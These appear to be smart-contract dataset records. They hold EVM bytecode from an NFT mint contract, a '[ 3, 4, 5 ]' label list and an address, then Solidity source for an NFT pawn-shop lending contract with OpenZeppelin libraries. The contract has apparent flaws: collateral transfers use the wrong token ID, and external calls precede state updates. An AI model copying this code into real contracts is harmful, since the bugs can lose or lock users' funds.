6122389190613243565b60405180910390a3505050565b612250848484611b48565b61225c848484846123c4565b61229b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229290613280565b60405180910390fd5b50505050565b606060405180602001604052806000815250905090565b60606122c38261193d565b612302576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122f9906134e0565b60405180910390fd5b600061230c6122a1565b9050600081511161232c5760405180602001604052806000815250612357565b8061233684611dbd565b60405160200161234792919061314d565b6040516020818303038152906040525b915050919050565b505050565b505050565b612373838361255b565b61238060008484846123c4565b6123bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b690613280565b60405180910390fd5b505050565b60006123e58473ffffffffffffffffffffffffffffffffffffffff16612735565b1561254e578373ffffffffffffffffffffffffffffffffffffffff1663150b7a0261240e6119a9565b8786866040518563ffffffff1660e01b815260040161243094939291906131ce565b602060405180830381600087803b15801561244a57600080fd5b505af192505050801561247b57506040513d601f19601f820116820180604052508101906124789190612c34565b60015b6124fe573d80600081146124ab576040519150601f19603f3d011682016040523d82523d6000602084013e6124b0565b606091505b506000815114156124f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ed90613280565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612553565b600190505b949350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156125cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125c290613460565b60405180910390fd5b6125d48161193d565b15612614576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260b90613300565b60405180910390fd5b6126206000838361235f565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461267091906136d7565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a461273160008383612364565b5050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b82805461276490613872565b90600052602060002090601f01602090048101928261278657600085556127cd565b82601f1061279f57805160ff19168380011785556127cd565b828001600101855582156127cd579182015b828111156127cc5782518255916020019190600101906127b1565b5b5090506127da91906127de565b5090565b5b808211156127f75760008160009055506001016127df565b5090565b600061280e61280984613600565b6135db565b9050808382526020820190508285602086028201111561282d57600080fd5b60005b8581101561285d57816128438882612911565b845260208401935060208301925050600181019050612830565b5050509392505050565b600061287a6128758461362c565b6135db565b9050808382526020820190508285602086028201111561289957600080fd5b60005b858110156128c957816128af88826129e3565b84526020840193506020830192505060018101905061289c565b5050509392505050565b60006128e66128e184613658565b6135db565b9050828152602081018484840111156128fe57600080fd5b612909848285613806565b509392505050565b6000813590506129208161416d565b92915050565b600082601f83011261293757600080fd5b81356129478482602086016127fb565b91505092915050565b600082601f83011261296157600080fd5b8135612971848260208601612867565b91505092915050565b60008135905061298981614184565b92915050565b60008135905061299e8161419b565b92915050565b6000815190506129b38161419b565b92915050565b600082601f8301126129ca57600080fd5b81356129da8482602086016128d3565b91505092915050565b6000813590506129f2816141b2565b92915050565b600060208284031215612a0a57600080fd5b6000612a1884828501612911565b91505092915050565b60008060408385031215612a3457600080fd5b6000612a4285828601612911565b9250506020612a5385828601612911565b9150509250929050565b600080600060608486031215612a7257600080fd5b6000612a8086828701612911565b9350506020612a9186828701612911565b9250506040612aa2868287016129e3565b9150509250925092565b60008060008060808587031215612ac257600080fd5b6000612ad087828801612911565b9450506020612ae187828801612911565b9350506040612af2878288016129e3565b925050606085013567ffffffffffffffff811115612b0f57600080fd5b612b1b878288016129b9565b91505092959194509250565b60008060408385031215612b3a57600080fd5b6000612b4885828601612911565b9250506020612b598582860161297a565b9150509250929050565b60008060408385031215612b7657600080fd5b6000612b8485828601612911565b9250506020612b95858286016129e3565b9150509250929050565b60008060408385031215612bb257600080fd5b600083013567ffffffffffffffff811115612bcc57600080fd5b612bd885828601612926565b925050602083013567ffffffffffffffff811115612bf557600080fd5b612c0185828601612950565b9150509250929050565b600060208284031215612c1d57600080fd5b6000612c2b8482850161298f565b91505092915050565b600060208284031215612c4657600080fd5b6000612c54848285016129a4565b91505092915050565b600060208284031215612c6f57600080fd5b6000612c7d848285016129e3565b91505092915050565b612c8f81613792565b82525050565b612c9e816137a4565b82525050565b6000612caf82613689565b612cb9818561369f565b9350612cc9818560208601613815565b612cd281613a0b565b840191505092915050565b6000612ce882613694565b612cf281856136bb565b9350612d02818560208601613815565b612d0b81613a0b565b840191505092915050565b6000612d2182613694565b612d2b81856136cc565b9350612d3b818560208601613815565b80840191505092915050565b6000612d546032836136bb565b9150612d5f82613a1c565b604082019050919050565b6000612d776020836136bb565b9150612d8282613a6b565b602082019050919050565b6000612d9a6026836136bb565b9150612da582613a94565b604082019050919050565b6000612dbd6025836136bb565b9150612dc882613ae3565b604082019050919050565b6000612de0601c836136bb565b9150612deb82613b32565b602082019050919050565b6000612e036023836136bb565b9150612e0e82613b5b565b604082019050919050565b6000612e266024836136bb565b9150612e3182613baa565b604082019050919050565b6000612e496019836136bb565b9150612e5482613bf9565b602082019050919050565b6000612e6c6022836136bb565b9150612e7782613c22565b604082019050919050565b6000612e8f602c836136bb565b9150612e9a82613c71565b604082019050919050565b6000612eb2601e836136bb565b9150612ebd82613cc0565b602082019050919050565b6000612ed56038836136bb565b9150612ee082613ce9565b604082019050919050565b6000612ef8602a836136bb565b9150612f0382613d38565b604082019050919050565b6000612f1b6029836136bb565b9150612f2682613d87565b604082019050919050565b6000612f3e602e836136bb565b9150612f4982613dd6565b604082019050919050565b6000612f616020836136bb565b9150612f6c82613e25565b602082019050919050565b6000612f846031836136bb565b9150612f8f82613e4e565b604082019050919050565b6000612fa7602c836136bb565b9150612fb282613e9d565b604082019050919050565b6000612fca6020836136bb565b9150612fd582613eec565b602082019050919050565b6000612fed602f836136bb565b9150612ff882613f15565b604082019050919050565b6000613010601f836136bb565b915061301b82613f64565b602082019050919050565b60006130336021836136bb565b915061303e82613f8d565b604082019050919050565b6000613056600b836136cc565b915061306182613fdc565b600b82019050919050565b60006130796000836136b0565b915061308482614005565b600082019050919050565b600061309c6010836136bb565b91506130a782614008565b602082019050919050565b60006130bf6031836136bb565b91506130ca82614031565b604082019050919050565b60006130e26051836136cc565b91506130ed82614080565b605182019050919050565b6000613105601f836136bb565b9150613110826140f5565b602082019050919050565b60006131286028836136bb565b91506131338261411e565b604082019050919050565b613147816137fc565b82525050565b60006131598285612d16565b91506131658284612d16565b91508190509392505050565b600061317c8261306c565b9150819050919050565b6000613191826130d5565b915061319d8284612d16565b91506131a882613049565b915081905092915050565b60006020820190506131c86000830184612c86565b92915050565b60006080820190506131e36000830187612c86565b6131f06020830186612c86565b6131fd604083018561313e565b818103606083015261320f8184612ca4565b905095945050505050565b600060408201905061322f6000830185612c86565b61323c602083018461313e565b9392505050565b60006020820190506132586000830184612c95565b92915050565b600060208201905081810360008301526132788184612cdd565b905092915050565b6000602082019050818103600083015261329981612d47565b9050919050565b600060208201905081810360008301526132b981612d6a565b9050919050565b600060208201905081810360008301526132d981612d8d565b9050919050565b600060208201905081810360008301526132f981612db0565b9050919050565b6000602082019050818103600083015261331981612dd3565b9050919050565b6000602082019050818103600083015261333981612df6565b9050919050565b6000602082019050818103600083015261335981612e19565b9050919050565b6000602082019050818103600083015261337981612e3c565b9050919050565b6000602082019050818103600083015261339981612e5f565b9050919050565b600060208201905081810360008301526133b981612e82565b9050919050565b600060208201905081810360008301526133d981612ea5565b9050919050565b600060208201905081810360008301526133f981612ec8565b9050919050565b6000602082019050818103600083015261341981612eeb565b9050919050565b6000602082019050818103600083015261343981612f0e565b9050919050565b6000602082019050818103600083015261345981612f31565b9050919050565b6000602082019050818103600083015261347981612f54565b9050919050565b6000602082019050818103600083015261349981612f77565b9050919050565b600060208201905081810360008301526134b981612f9a565b9050919050565b600060208201905081810360008301526134d981612fbd565b9050919050565b600060208201905081810360008301526134f981612fe0565b9050919050565b6000602082019050818103600083015261351981613003565b9050919050565b6000602082019050818103600083015261353981613026565b9050919050565b600060208201905081810360008301526135598161308f565b9050919050565b60006020820190508181036000830152613579816130b2565b9050919050565b60006020820190508181036000830152613599816130f8565b9050919050565b600060208201905081810360008301526135b98161311b565b9050919050565b60006020820190506135d5600083018461313e565b92915050565b60006135e56135f6565b90506135f182826138a4565b919050565b6000604051905090565b600067ffffffffffffffff82111561361b5761361a6139dc565b5b602082029050602081019050919050565b600067ffffffffffffffff821115613647576136466139dc565b5b602082029050602081019050919050565b600067ffffffffffffffff821115613673576136726139dc565b5b61367c82613a0b565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b60006136e2826137fc565b91506136ed836137fc565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156137225761372161394f565b5b828201905092915050565b6000613738826137fc565b9150613743836137fc565b9250826137535761375261397e565b5b828204905092915050565b6000613769826137fc565b9150613774836137fc565b9250828210156137875761378661394f565b5b828203905092915050565b600061379d826137dc565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613833578082015181840152602081019050613818565b83811115613842576000848401525b50505050565b6000613853826137fc565b915060008214156138675761386661394f565b5b600182039050919050565b6000600282049050600182168061388a57607f821691505b6020821081141561389e5761389d6139ad565b5b50919050565b6138ad82613a0b565b810181811067ffffffffffffffff821117156138cc576138cb6139dc565b5b80604052505050565b60006138e0826137fc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156139135761391261394f565b5b600182019050919050565b6000613929826137fc565b9150613934836137fc565b9250826139445761394361397e565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f77686974656c6973742073616c6520686173206e6f7420626567756e20796574600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722066726f6d20696e636f72726563742060008201527f6f776e6572000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f57686974656c697374206d696e7420686173206e6f742073746172746564207960008201527f65742e0000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f6368616e676520796f7572206d696e7420707269636520746f20302e3135206560008201527f7468000000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f5468652063616c6c657220697320616e6f7468657220636f6e74726163740000600082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f45524337323155524953746f726167653a2055524920736574206f66206e6f6e60008201527f6578697374656e7420746f6b656e000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f45524337323155524953746f726167653a2055524920717565727920666f722060008201527f6e6f6e6578697374656e7420746f6b656e000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f6e6f7420656c696769626c6520666f722077686974656c697374206d696e7400600082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f2e746f6b656e2e6a736f6e000000000000000000000000000000000000000000600082015250565b50565b7f5472616e73666572206661696c65642e00000000000000000000000000000000600082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f68747470733a2f2f697066732e696f2f697066732f626166796265696277667160008201527f7274703671346f6e34743763647235357a78346a34756570687070367673776360208201527f34373733756a69333273686a6f7534752f000000000000000000000000000000604082015250565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b7f61646472657373657320646f6573206e6f74206d61746368206e756d536c6f7460008201527f73206c656e677468000000000000000000000000000000000000000000000000602082015250565b61417681613792565b811461418157600080fd5b50565b61418d816137a4565b811461419857600080fd5b50565b6141a4816137b0565b81146141af57600080fd5b50565b6141bb816137fc565b81146141c657600080fd5b5056fea2646970667358221220b47dfbfd5a04cf88659abcff7986bcc6168d7afe1f0a871822c4e33a44ea279d64736f6c63430008040033
[ 3, 4, 5 ]
0xf22EC31999A8837c39c100747B48E408e14C9035
pragma solidity ^0.8.2; import './interfaces/IERC20.sol'; import './interfaces/IPawnLoans.sol'; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "hardhat/console.sol"; struct PawnTicket { // ==== immutable ===== address loanAsset; address collateralAddress; uint256 collateralID; // ==== mutable ====== uint256 perBlockInterestRate; // used to track loanAsset amount of interest accumulated, incase of interest rate change uint256 accumulatedInterest; // at which block was the accumulated interest most recently calculated uint256 lastAccumulatedInterestBlock; uint256 blockDuration; uint256 loanAmount; uint256 loanAmountDrawn; bool closed; bool collateralSeized; } contract NFTPawnShop is ERC721Enumerable { using SafeMath for uint256; // ==== Immutable uint256 public SCALAR = 1e18; // ==== Mutable mapping(uint256 => PawnTicket) public ticketInfo; uint256 private _nonce; // paybacks to claim // pawnticket => address => balance mapping(uint256 => mapping(address => uint256)) private _loanPaymentBalances; // ERC721, each token represents a loan corresponding in ID to a PawnTicket address public loansContract; address public manager; // 5% to start uint128 public pawnShopTakeRate = 5 * 1e16; // ERC20 address => value mapping(address => uint256) public cashDrawer; // ==== modifiers modifier managerOnly() { require(msg.sender == manager, "NFTPawnShop: manager only"); _; } modifier ticketExists(uint256 ticketID) { require(ticketID <= _nonce, "NFTPawnShop: pawn ticket does not exist"); _; } // ==== view ==== function totalOwed(uint256 pawnTicketID) ticketExists(pawnTicketID) view public returns (uint256) { return ticketInfo[pawnTicketID].loanAmountDrawn + interestOwed(pawnTicketID); } function lenderInterestRateAfterPawnShopTake(uint256 interestRate) view public returns (uint256) { return interestRate * (SCALAR - pawnShopTakeRate) / SCALAR ; } function lendeeInterestRateAfterPawnShopTake(uint256 interestRate) view public returns (uint256) { return interestRate * SCALAR / (SCALAR - pawnShopTakeRate); } function interestOwed(uint256 pawnTicketID) ticketExists(pawnTicketID) view public returns (uint256) { PawnTicket storage ticket = ticketInfo[pawnTicketID]; return totalInterestedOwned(ticket, ticket.perBlockInterestRate); } function interestOwedToLender(uint256 pawnTicketID) ticketExists(pawnTicketID) view public returns (uint256) { PawnTicket storage ticket = ticketInfo[pawnTicketID]; return totalInterestedOwned(ticket, lenderInterestRateAfterPawnShopTake(ticket.perBlockInterestRate)); } // NOTE: we calculate using current block.sub(start block).sub(1), to exclude // both the start block and the current block from the interst function totalInterestedOwned(PawnTicket storage ticket, uint256 interestRate) private view returns (uint256) { // PawnTicket storage ticket = ticketInfo[pawnTicketID]; if(ticket.closed){ return 0; } return ticket.loanAmount .mul(block.number.sub(ticket.lastAccumulatedInterestBlock).sub(1)) .mul(interestRate) .div(SCALAR) .add(ticket.accumulatedInterest); } function drawableBalance(uint256 pawnTicketID) ticketExists(pawnTicketID) view external returns (uint256) { PawnTicket storage ticket = ticketInfo[pawnTicketID]; if(ticket.closed){ return 0; } return ticket.loanAmount.sub(ticket.loanAmountDrawn); } function loanEndBlock(uint256 pawnTicketID) ticketExists(pawnTicketID) view external returns (uint256) { PawnTicket storage ticket = ticketInfo[pawnTicketID]; return ticket.blockDuration + ticket.lastAccumulatedInterestBlock; } function loanPaymentBalance(uint256 pawnTicketID, address account) ticketExists(pawnTicketID) view external returns (uint256) { return _loanPaymentBalances[pawnTicketID][account]; } constructor(address _manager) ERC721("Pawn Tickets", "PWNT") { manager = _manager; } // ==== state changing function mintPawnTicket( uint256 nftID, address nftAddress, uint256 maxInterest, uint256 minAmount, address loanAsset, uint256 minBlocks ) external { uint256 id = ++_nonce; PawnTicket storage ticket = ticketInfo[id]; IERC721(nftAddress).transferFrom(msg.sender, address(this), nftID); ticket.loanAsset = loanAsset; ticket.loanAmount = minAmount; ticket.collateralID = nftID; ticket.collateralAddress = nftAddress; ticket.perBlockInterestRate = maxInterest; ticket.blockDuration = minBlocks; _safeMint(msg.sender, id, ""); } // for closing a ticket and getting item back // before it has a loan function closeTicket(uint256 pawnTicketID) ticketExists(pawnTicketID) external { require(ownerOf(pawnTicketID) == msg.sender, "NFTPawnShop: must be owner of pawned item"); PawnTicket storage ticket = ticketInfo[pawnTicketID]; require(!ticket.closed, "NFTPawnShop: ticket closed"); require(ticket.lastAccumulatedInterestBlock == 0, "NFTPawnShop: has loan, use repayAndCloseTicket"); IERC721(ticket.collateralAddress).transferFrom(address(this), ownerOf(pawnTicketID), pawnTicketID); ticket.closed = true; } // loan money, agreeing to pawn ticket terms or better // replaces existing loan, if there is one and the terms qualify function underwritePawnLoan(uint256 pawnTicketID, uint256 interest, uint256 blockDuration, uint256 amount) ticketExists(pawnTicketID) external { PawnTicket storage ticket = ticketInfo[pawnTicketID]; require(!ticket.closed, "NFTPawnShop: ticket closed"); uint256 effectiveInterestRate = lenderInterestRateAfterPawnShopTake(ticket.perBlockInterestRate); require(effectiveInterestRate >= interest && ticket.blockDuration <= blockDuration && ticket.loanAmount <= amount, "NFTPawnShop: Proposed terms do not qualify" ); uint256 accumulatedInterest = 0; if(ticket.lastAccumulatedInterestBlock != 0){ // someone already has this loan, to replace them, the offer must improve require(ticket.loanAmount < amount || ticket.blockDuration < blockDuration || effectiveInterestRate > interest, "NFTPawnShop: proposed terms must be better than existing terms"); // we only want to add the interest for blocks that this account held the loan // i.e. since last accumulatedInterest // we do not include current block in the interest calculation. It will also not // be included in the next interest calculation. Blocks when a loan is bought out are // interest free :-) accumulatedInterest = ticket.loanAmount .mul(block.number.sub(ticket.lastAccumulatedInterestBlock).sub(1)) .mul(effectiveInterestRate) .div(SCALAR); // account acquiring this loan needs to transfer amount + interest so far IERC20(ticket.loanAsset).transferFrom(msg.sender, address(this), amount + accumulatedInterest); address currentLoanOwner = IERC721(loansContract).ownerOf(pawnTicketID); // we add to exisiting balance here incase this person has owned this loan before _loanPaymentBalances[pawnTicketID][currentLoanOwner] = _loanPaymentBalances[pawnTicketID][currentLoanOwner] + accumulatedInterest + ticket.loanAmount; IPawnLoans(loansContract).transferLoan(currentLoanOwner, msg.sender, pawnTicketID); } else { IERC20(ticket.loanAsset).transferFrom(msg.sender, address(this), amount); IPawnLoans(loansContract).mintLoan(msg.sender, pawnTicketID); } // interest rate in the struct is always the lendees rate, // what is paid to the lowner owner has the pawn shop take removed ticket.perBlockInterestRate = lendeeInterestRateAfterPawnShopTake(interest); ticket.accumulatedInterest = ticket.accumulatedInterest + accumulatedInterest; ticket.lastAccumulatedInterestBlock = block.number; ticket.blockDuration = blockDuration; ticket.loanAmount = amount; } function drawLoan(uint256 pawnTicketID, uint256 amount) ticketExists(pawnTicketID) external { require(ownerOf(pawnTicketID) == msg.sender, "NFTPawnShop: must be owner of pawned item"); PawnTicket storage ticket = ticketInfo[pawnTicketID]; // we do not want to allow the lendee to close the loan and then draw again // but if the loan was closed be seizing collateral, then lendee should still be able // to draw the full amount require(!ticket.closed || ticket.collateralSeized, "NFTPawnShop: ticket closed"); ticket.loanAmount.sub(ticket.loanAmountDrawn).sub(amount, "NFTPawnShop: Insufficient loan balance"); ticket.loanAmountDrawn = ticket.loanAmountDrawn + amount; IERC20(ticket.loanAsset).transfer(msg.sender, amount); } function repayAndCloseTicket(uint256 pawnTicketID) ticketExists(pawnTicketID) external { PawnTicket storage ticket = ticketInfo[pawnTicketID]; require(!ticket.closed, "NFTPawnShop: ticket closed"); uint256 interest = interestOwed(pawnTicketID); IERC20(ticket.loanAsset).transferFrom(msg.sender, address(this), interest + ticket.loanAmountDrawn); address loanOwner = IERC721(loansContract).ownerOf(pawnTicketID); uint256 loanPaymentBalance = _loanPaymentBalances[pawnTicketID][loanOwner]; uint256 pawnShopTake = interest * pawnShopTakeRate / SCALAR; _loanPaymentBalances[pawnTicketID][loanOwner] = loanPaymentBalance + interest - pawnShopTake + ticket.loanAmount; cashDrawer[ticket.loanAsset] = cashDrawer[ticket.loanAsset] + pawnShopTake; ticket.loanAmountDrawn = 0; ticket.closed = true; IERC721(ticket.collateralAddress).transferFrom(address(this), ownerOf(pawnTicketID), ticket.collateralID); } function seizeCollateral(uint256 pawnTicketID) ticketExists(pawnTicketID) external { PawnTicket storage ticket = ticketInfo[pawnTicketID]; require(!ticket.closed, "NFTPawnShop: ticket closed"); require(block.number > ticket.blockDuration + ticket.lastAccumulatedInterestBlock, "NFTPawnShop: payment is not late"); IERC721(ticket.collateralAddress).transferFrom(address(this), IERC721(loansContract).ownerOf(pawnTicketID), pawnTicketID); ticket.closed = true; ticket.collateralSeized = true; } function withdrawLoanPayment(uint256 pawnTicketID, uint256 amount) ticketExists(pawnTicketID) external { _loanPaymentBalances[pawnTicketID][msg.sender] = _loanPaymentBalances[pawnTicketID][msg.sender].sub(amount, "NFTPawnShop: Insufficient balance"); IERC20(ticketInfo[pawnTicketID].loanAsset).transfer(msg.sender, amount); } // === manger state changing function setPawnLoansContract(address _contract) managerOnly external { require(loansContract == address(0), 'NFTPawnShop: already set'); loansContract = _contract; } function withdrawFromCashDrawer(address asset, uint256 amount, address to) managerOnly external { cashDrawer[asset] = cashDrawer[asset].sub(amount, "NFTPawnShop: Insufficient funds"); IERC20(asset).transfer(to, amount); } function updateManager(address _manager) managerOnly external { manager = _manager; } } pragma solidity ^0.8.2; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } pragma solidity ^0.8.2; interface IPawnLoans { function mintLoan(address to, uint256 pawnTicketId) external; function transferLoan(address from, address to, uint256 loanId) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to 